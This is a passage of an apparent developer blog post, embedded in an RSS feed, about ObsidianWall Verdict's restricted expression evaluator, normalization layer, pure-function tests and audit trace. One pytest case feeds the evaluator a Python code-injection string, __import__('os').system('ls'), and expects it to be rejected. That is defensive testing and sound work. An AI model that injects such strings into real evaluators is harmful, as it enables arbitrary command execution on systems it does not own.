&lt;li&gt;Resolve left side — &lt;code&gt;current_spend + estimated_cost&lt;/code&gt; — by looking up each key in the runtime context and summing them&lt;/li&gt;
&lt;li&gt;Resolve right side — &lt;code&gt;budget.amount&lt;/code&gt; — by looking up the key in the runtime context&lt;/li&gt;
&lt;li&gt;Apply the operator — &lt;code&gt;100 &amp;lt;= 50.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Return the result — &lt;code&gt;False&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Every step is traceable. Every step is verifiable. A compliance engineer reading the audit output can reconstruct the evaluation manually without running any code. That is what auditability means in practice — not just logging that a decision happened, but making the decision itself independently verifiable.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Normalization Layer — Bridging Human Intent and Machine Evaluation
&lt;/h2&gt;

&lt;p&gt;There is an architectural subtlety that took real design work to get right.&lt;/p&gt;

&lt;p&gt;Governance policies are written by humans in nested, readable structures:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;parameters&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;budget&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;amount&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50&lt;/span&gt;
      &lt;span class="na"&gt;period&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;monthly&lt;/span&gt;
      &lt;span class="na"&gt;owner&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;team-alpha&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But the deterministic evaluator operates against a flat key-value context. It resolves &lt;code&gt;budget.amount&lt;/code&gt; — not nested object traversal, not dynamic attribute access, not recursive dict walking.&lt;/p&gt;

&lt;p&gt;The naive solution is to make the evaluator smart about nested structures. That is the wrong solution. It contaminates the evaluator with policy structure knowledge, destroys its determinism guarantees, and makes it significantly harder to audit.&lt;/p&gt;

&lt;p&gt;The correct solution is a &lt;strong&gt;normalization layer&lt;/strong&gt; that runs before evaluation — a dedicated component whose only job is to translate human-readable nested policy structures into evaluator-ready flat contexts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;Input:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"budget"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"period"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monthly"&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Output:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"budget.amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"budget.period"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monthly"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After normalization, the evaluator receives a flat context. It resolves &lt;code&gt;budget.amount&lt;/code&gt; directly. It never needs to know how the policy was structured. The normalization layer is the bridge — and it is the only place in the system that understands both the policy structure and the evaluation context simultaneously.&lt;/p&gt;

&lt;p&gt;The evaluation pipeline becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Raw Policy YAML
      ↓
Canonicalize DSL structure
      ↓
Validate against schema contract
      ↓
Flatten + merge into runtime context     ← normalization layer
      ↓
Restricted expression evaluation         ← deterministic, bounded
      ↓
Decision + immutable audit trace
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each layer has one responsibility. Each layer can be tested independently. Each layer can be audited independently. No layer needs to understand what the others are doing internally.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means for Testing
&lt;/h2&gt;

&lt;p&gt;Because the expression evaluator is a pure function with no side effects and a completely bounded input surface, testing it requires no mocking, no fixtures, and no infrastructure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_blocks_when_budget_exceeded&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;current_spend&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;estimated_cost&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;budget.amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mf"&gt;50.0&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;evaluate_expression&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(current_spend + estimated_cost) &amp;lt;= budget.amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;context&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_allows_when_within_budget&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;current_spend&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;estimated_cost&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;budget.amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mf"&gt;50.0&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;evaluate_expression&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(current_spend + estimated_cost) &amp;lt;= budget.amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;context&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_rejects_expression_outside_grammar&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raises&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;evaluate_expression&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__import__(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).system(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A function goes in. A result comes out. You assert the result. No setup. No teardown. No dependencies. That is what happens when you build a pure deterministic function instead of delegating to &lt;code&gt;eval()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The third test is particularly important for a governance engine. The evaluator does not just fail silently on unsupported expressions — it explicitly rejects them. The boundary is enforced, not just hoped for.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Principle Behind the Decision
&lt;/h2&gt;

&lt;p&gt;The decision not to use &lt;code&gt;eval()&lt;/code&gt; is not primarily a security decision, though security is one outcome.&lt;/p&gt;

&lt;p&gt;It is a decision about what kind of system ObsidianWall is.&lt;/p&gt;

&lt;p&gt;The ObsidianWall doctrine says AI may advise but may not authoritatively govern. The same principle applies to the expression evaluator — it may evaluate exactly what the grammar allows, and nothing else. The restriction is the guarantee. The boundary is the trust.&lt;/p&gt;

&lt;p&gt;A governance engine is only useful if the people governed by it trust it. Trust requires transparency. Transparency requires that the system's behavior be fully describable — that an engineer, a compliance officer, or a regulator can read the evaluation trace and verify independently that the decision was correct.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; cannot offer that guarantee. A restricted expression grammar can.&lt;/p&gt;

&lt;p&gt;The minimal grammar is not a limitation imposed by inability. It is a design statement:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This system does exactly this, and nothing else. You can verify that. We built it that way on purpose.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That is what programmable assurance means.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Audit Output
&lt;/h2&gt;

&lt;p&gt;When Verdict evaluates a plan and reaches a decision, the audit artifact looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"decision"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"DENY"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"conditions_passed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"trace"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"condition_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"budget_check"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"expression"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"(current_spend + estimated_cost) &amp;lt;= budget.amount"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Monthly spend cap enforcement"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"input_context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"estimated_cost"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"current_spend"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"runtime_context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"estimated_cost"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"current_spend"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"budget.amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"budget.period"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monthly"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two contexts are preserved separately — &lt;code&gt;input_context&lt;/code&gt; captures what came in from the infrastructure plan, &lt;code&gt;runtime_context&lt;/code&gt; captures the fully normalized state the evaluator actually saw. That separation matters for forensic reconstruction, compliance export, and replay — you can reproduce the exact evaluation state at any point in the future from the audit record alone.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;This is the first article in a series on the architecture behind ObsidianWall.&lt;/p&gt;

&lt;p&gt;The next two cover:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How the enforcer/recommender separation preserves the AI authority boundary&lt;/strong&gt; — why the system that makes enforcement decisions must be architecturally isolated from the system that generates recommendations, and what happens to governance trust when that boundary is violated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How programmable assurance differs from reactive governance&lt;/strong&gt; — why alerting, dashboards, and drift detection are fundamentally different abstractions from deterministic decision systems, and why that difference matters in AI-era infrastructure.&lt;/p&gt;

&lt;p&gt;ObsidianWall Verdict is currently in early access.&lt;/p&gt;

&lt;p&gt;If you are dealing with infrastructure budget overruns, compliance violations discovered after deployment, or policy drift across engineering teams — Verdict was built for exactly that problem.&lt;/p&gt;

&lt;p&gt;Early access: &lt;strong&gt;&lt;a href="https://obsidianwall.com" rel="noopener noreferrer"&gt;obsidianwall.com&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Aisha is the founder of ObsidianWall — a programmable assurance platform for deterministic governance and AI-native operational intelligence.&lt;/em&gt;&lt;/p&gt;




</description>
      <category>devops</category>
      <category>security</category>
      <category>python</category>
      <category>terraform</category>
    </item>
  </channel>
</rss>
